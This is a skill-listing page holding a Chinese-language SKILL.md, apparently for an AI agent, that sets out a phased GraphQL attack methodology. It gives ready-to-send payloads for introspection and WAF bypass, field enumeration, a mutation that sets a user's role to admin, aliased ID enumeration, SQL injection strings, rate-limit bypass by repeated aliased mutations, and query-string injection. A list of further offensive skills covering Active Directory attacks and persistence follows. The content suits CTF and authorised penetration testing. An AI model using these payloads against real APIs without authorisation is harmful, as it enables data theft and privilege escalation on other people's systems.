graphql-methodology

$npx mdskill add wgpsec/AboutSecurity/graphql-methodology

Test GraphQL APIs for injection and authorization flaws.

  • Detects GraphQL endpoints and executes schema introspection queries.
  • Bypasses WAF rules using GET requests, aliases, and fragments.
  • Enumerates fields via spelling errors and field suggestions.
  • Reports injection vectors, privilege escalation, and DoS risks.

SKILL.md

.github/skills/graphql-methodologyView on GitHub ↗
---
name: graphql-methodology
description: "GraphQL API 安全测试。当发现 /graphql 端点、POST JSON 查询、GraphQL Playground/Explorer 页面、响应中有 data/errors JSON 结构时使用。包含 Introspection 泄露、注入攻击、权限绕过、嵌套查询 DoS"
metadata:
  tags: "graphql,graphql injection,api,introspection,injection,authorization"
  category: "exploit"
---

# GraphQL 攻击方法论


## Phase 1: 发现GraphQL端点
常见路径: `/graphql`, `/api/graphql`, `/graphiql`, `/v1/graphql`, `/query`
检测: POST `{"query":"{ __typename }"}` → 返回 `{"data":{"__typename":"Query"}}` 即确认

## Phase 2: Introspection 查询(最重要)
获取完整Schema:
```json
{"query":"{ __schema { types { name fields { name type { name } } } } }"}
```

精简版(只看Query和Mutation):
```json
{"query":"{ __schema { queryType { fields { name args { name type { name } } } } mutationType { fields { name args { name type { name } } } } } }"}
```

**Introspection结果包含所有类型定义和字段** — 这是最重要的信息源

### 2.1 Introspection 被禁用时的绕过

**方法 1: Field Suggestion(字段建议)**
GraphQL 引擎对拼写错误会建议正确字段名:
```json
{"query":"{ __typena }"}
→ "Did you mean '__typename'?"
```
利用这个特性枚举字段:发送错误的字段名,从建议中获取真实字段名。

**方法 2: GET 请求绕过**
有些 WAF 只拦截 POST 的 Introspection,用 GET 绕过:
```
GET /graphql?query={__schema{types{name,fields{name}}}}
```

**方法 3: 别名/Fragment 绕过**
```json
{"query":"{ a: __schema { types { name } } }"}
{"query":"fragment f on __Schema { types { name } } { __schema { ...f } }"}
```

**方法 4: 大小写/空白绕过**
```json
{"query":"{ __SCHEMA { types { name } } }"}
{"query":"\n{ __schema\n{ types\n{ name } } }"}
```

**方法 5: 逐字段猜测**
如果以上都不行,根据常见命名猜测:
```json
{"query":"{ user { id } }"}
{"query":"{ users { id } }"}
{"query":"{ flag }"}
{"query":"{ admin { flag } }"}
{"query":"{ getUser(id:1) { id } }"}
```

## Phase 3: 数据枚举
根据Schema逐个查询:
```json
{"query":"{ users { id username email role } }"}
{"query":"{ user(id: 1) { id username email role flag } }"}
{"query":"{ flag }"}
{"query":"{ admin { flag } }"}
{"query":"{ posts { id title content author } }"}
```
注意隐藏字段(Schema中有但页面未展示的字段)

## Phase 4: 权限绕过
1. 直接查询管理字段:
   ```json
   {"query":"mutation { updateUser(id: 1, role: \"admin\") { id role } }"}
   ```
2. 嵌套查询(Batch攻击):
   ```json
   {"query":"{ user(id:1){flag} user2:user(id:2){flag} }"}
   ```
3. 别名遍历ID:
   ```json
   {"query":"{ u1:user(id:1){id,name,flag} u2:user(id:2){id,name,flag} u3:user(id:3){id,name,flag} }"}
   ```

## Phase 5: 注入
GraphQL参数中的SQL注入:
```json
{"query":"{ user(name: \"admin' OR '1'='1\") { id flag } }"}
{"query":"{ search(keyword: \"' UNION SELECT flag FROM flags--\") { results } }"}
```

## Phase 6: 高级技巧
- 工具辅助:Clairvoyance、graphql-cop 等自动化工具帮助发现隐藏字段
- 批量查询(Batching):单个查询中一次请求多个结果 `{a:user(id:1){name} b:user(id:2){name}}`
- WAF 绕过:URL 编码(`%7B`)编码绕过;换行/空格变体

---

## CTF GraphQL 技巧补充

### 别名批量操作绕过速率限制
单个请求中用别名重复同一 mutation(如投票/认证)绕过频率限制:
```graphql
mutation {
  a1: vote(id: "target") { ok }
  a2: vote(id: "target") { ok }
  # 重复 N 次...
}
```
也可用数组批量: `POST body: [{"query":"mutation{...}"}, {"query":"mutation{...}"}, ...]`

### 字符串插值注入
当服务端拼接 GraphQL 查询字符串时,类似 SQLi 的注入:
```javascript
// 输入: ") { result } } mutation { adminAction(secret: true) { flag } } #
// 闭合原查询并注入新 mutation
```

More from wgpsec/AboutSecurity

SkillDescription
401-403-bypass401/403 访问拒绝绕过方法论。当遇到管理后台、API 端点返回 401/403 Forbidden 时使用。覆盖路径操纵、HTTP 方法篡改、Header 注入、协议降级、组合攻击
ad-acl-abuseActive Directory ACL 滥用攻击方法论。当 BloodHound 发现 GenericAll/WriteDACL/WriteOwner/GenericWrite/ForceChangePassword 等危险 ACE 时使用。覆盖 ACE 枚举、权限滥用链、Shadow Credentials、RBCD 攻击
ad-delegation-attackKerberos 委派攻击(非约束/约束/RBCD)。当 BloodHound 发现委派配置、或已获取有 SPN 的服务账号/机器账号控制权时使用。通过 S4U 协议滥用可实现跨服务模拟任意用户,常用于域内权限提升和横向移动。
ad-domain-attackActive Directory 域环境攻击全链路。当目标主机在域环境中(systeminfo 显示 Domain 非 WORKGROUP)、发现 88/389/636 端口、或获取到域用户凭据时使用。覆盖域信息收集、用户枚举、Kerberoasting、AS-REP Roasting、委派攻击、ACL 滥用、DCSync、Golden/Silver Ticket
ad-persistenceAD 域环境持久化技术。当已获取域管/本地管理员权限、需要建立持久访问以确保重启或密码更改后仍能回到目标环境时使用。覆盖主机级持久化(计划任务/注册表Run/COM劫持/WMI事件订阅/Windows服务/启动文件夹)、域级持久化(Golden Ticket/Silver Ticket/Skeleton Key/DSRM/AdminSDHolder)、DCShadow/GoldenGMSA高级技术、清理命令与检测规避
ad-trust-attack域信任关系攻击。当目标存在多域/多林环境时使用。包含父子域提权(Golden Ticket + ExtraSid)、跨林攻击(SID History/MSSQL Trust Links)、单向信任利用。已获取子域 Domain Admin 或发现信任关系时优先加载。
adcs-certipy-attackActive Directory Certificate Services (ADCS) 证书攻击。当发现域内有 CA 服务器、ADCS Web Enrollment、证书模板配置错误时使用。覆盖 ESC1-ESC11 所有证书滥用路径、Certipy 工具链、证书伪造、NTLM 中继到 ADCS。发现 ADCS/CA/证书/certsrv 相关内容时一定要使用此技能
adinfo-enum使用 Adinfo 进行 Active Directory 信息收集。当获得域用户凭据后需要快速收集域环境信息时使用。Adinfo 是一个快速 AD 信息收集工具,一条命令输出域控列表、域管用户、信任关系、GPO、SPN、委派配置等关键信息——比手动 LDAP 查询快得多。发现域环境后第一步信息收集使用此技能
agent-security|
ai-data-security|